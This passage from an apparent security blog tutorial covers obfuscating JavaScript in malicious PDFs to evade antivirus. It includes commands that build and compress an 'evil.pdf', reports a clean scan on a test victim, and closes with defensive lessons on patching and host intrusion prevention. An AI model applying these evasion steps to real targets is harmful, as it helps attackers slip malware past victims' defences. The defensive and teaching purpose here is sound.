After this has been confirmed you can just close Rhino.  If you make a mistake in your JavaScript code and need to load a new version of a script into Rhino, just be aware that it can be a little bit awkward sometimes to redebug code inside Rhino.  You may need to close Rhino and reopen it if you have problems starting the debugging process again.  This process of Rhino debugging can also be very useful when you need to remove obfuscation from JavaScript code when you are analysing malicious PDFs.


Obfuscate your own way...

Now at this point I should stress that the above code should be treated as an example of how to obfuscate code.  When you are doing this for real don't just copy exactly what I did and expect it to work.  If this particular example of code above gets found in malicious PDFs in the wild AV vendors are likely to add it to their virus signatures database which means that it will no longer be able to be used (at least without modification) in bypassing AV detection.  So treat this just as a demonstration of techniques that can be used when obfuscating code, and once you have gone through the above and understand how it works try using the techniques to obfuscate code in your own way.  Hopefully I have gone into enough detail about how the example code works and about how you can check for logic and syntax errors in your code using Rhino to give you enough confidence to try this out on your own.  If you need a reference for JavaScript I have found that just Googling the particular goal you are attempting along with the word JavaScript is a pretty quick way to find some example code, however one site I have found myself continually returning to that you might find useful is here.

At this point I will also mentioned that there are a number of JavaScript packers and obfuscators available on websites in standalone tools that you could use to obfuscate your code without doing it manually.  A Google search for "javascript obfuscator" or "javascript packer" will point you to a number of results, and you could also use one of the built in obfuscators in Durzosploit (I'd provide a link but the homepage is currently unavailable - just Google it to find a third party source or grab it from the repo if you're running BackTrack).

Anyway, now that we have our obfuscated JavaScript code we should stick it into a PDF file for a final test.


Create a PDF File that Automatically Runs the Script

Creating a PDF to auto run the script is done using the same process we have already used a few times during this process.

lupin@lion:~$ make-pdf-javascript.py -f encoded1.js evil.pdf

Now we take the evil.pdf file and place it on your test victim system.  Run it to confirm it works, then try and virus scan it...



No virus detected!  Now theres just one other thing we can add to this process.

Compress the PDF

The PDF Toolkit (pdftk) has a compression option which we can use to make our PDF file a little smaller, basically just removing spacing from our JavaScript code within the PDF.  Its of no huge benefit from a perspective of hiding from  automated detection (which is why I have listed it as an optional step), but it doesnt really hurt either.

lupin@lion:~$ pdftk evil.pdf output evil1.pdf compress

The End of the Story?

In this post I have covered a number of ways to obfuscate the contents of a PDF file in order to bypass AV detection, focusing mainly on methods that can be performed easily with existing free tools.  These are not the only methods by which the contents of PDF files can be obfuscated however.  Individual streams in the PDF file can be compressed using various methods, sections of code can be hidden in other parts of the PDF document and then extracted via script, fields in the PDF document can be reordered to prevent PDF documents from being recognised as such by particular parsers (which may prevent PDF detection rules being applied to the document in IDS or AV scanners), and more.  If you want to know more on the subject you can check out Didier Stevens blog which has a number of posts relating to the subject, and keep your eyes peeled for new articles analysing PDF exploits (like this), which are beginning to appear more frequently on the blogs of various security vendors.

Lessons Learned...

So what lessons can we learn from this little exercise?

First of all, you can't rely on an AV Scanner to protect you from targeted attacks.  I should note at this point that this is not just specific to the Symantec client I used in this demonstration either - it applies to all traditional AV scanners.  In fact, in my opinion the Symantec Endpoint Security product is one of the best available - some of the other scanners I tested while writing this did not pick up any of the PDF files I used as being malicious at all (not mentioning any names to protect the guilty).  The problem with AV scanning is it's reliance on seeking patterns or signatures in files in order to classify them as "bad" - if an attacker can change the file so that that pattern no longer appears the file is no longer classified as "bad", and by default then becomes "good".

In the case of malicious PDF files, if a particular sample PDF file becomes widely spread (if enough people are pwned by it), then AV vendors will get a copy of the file and AV scanners will start detecting it.  However, as you have just seen it's fairly trivial for an attacker to get around this detection, and until the AV vendors get a copy of the modified file they won't be able to adjust their definitions accordingly, and the AV product wont help you.  So don't make the same mistake that so many current day IT Professionals make and NEVER place absolute faith in your AV product to protect you from from all the badness out there!  The AV vendors themselves definitely realise there is a problem here, and thats why a number of security software vendors are starting to include Host Intrusion Prevention and cloud based intelligence functions into their products.  So, if you are looking for software to provide protection against Internet nasties, make sure you don't just get an AV product, go for something that has HIPS style functionality as well.

Second - patch your third party applications!  No really, get them patched and do it quick!  New PDF exploits are being released on a regular basis (the latest only a few days ago), and one of the most definitive strategies for not getting pwned by these exploits is to patch ASAP and NOT RUN SOFTWARE WITH KNOWN VULNERABILITIES!  If you're a home user the Secunia PSI provides an excellent way to get informed when any of your installed third party applications need an update, and if you're a corporate user then theres plenty of other products that you can use to report on vulnerable software and even to distribute the patches for you (and no I'm not talking about WSUS - that doesn't handle third party apps).  If you want some suggestions just get in contact with me - I'm sure you will find my consulting rates quite reasonable ;) (No really, I have a day job already, but you can ask me questions if you want.)

Third - In a large network there is a wide variety of other things apart from just using AV/HIPs software that you can do to prevent these types of targeted attacks, and an excellent summary is available from right here.  Well worth a read if your job involves securing a large network.

Fourth - alternate PDF reader software anyone?  Readers other than Acrobat are not necessarily free from problems either... but they generally have less of them, and they are less popular so they are less of a target.  Just something to keep in mind.